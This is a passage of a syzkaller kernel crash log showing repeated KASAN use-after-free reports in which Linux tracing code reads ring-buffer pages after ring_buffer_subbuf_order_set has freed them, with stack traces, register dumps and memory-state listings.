raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_prep+0x1f9/0x240 kernel/trace/trace_output.c:339
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_prep+0x1f9/0x240 kernel/trace/trace_output.c:339
trace_raw_output_lock+0x47/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_lock+0x63/0xd0 include/trace/events/lock.h:65
Read of size 8 at addr ffff888119b6ec34 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_lock+0x63/0xd0 include/trace/events/lock.h:65
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_raw_output_lock+0xc9/0xd0 include/trace/events/lock.h:65
Read of size 4 at addr ffff888119b6ec2c by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_raw_output_lock+0xc9/0xd0 include/trace/events/lock.h:65
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
ignore_event+0x9c2/0xa60 kernel/trace/trace.c:2526
trace_event_printf+0xa7/0x170 kernel/trace/trace_output.c:356
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3c by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3d by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
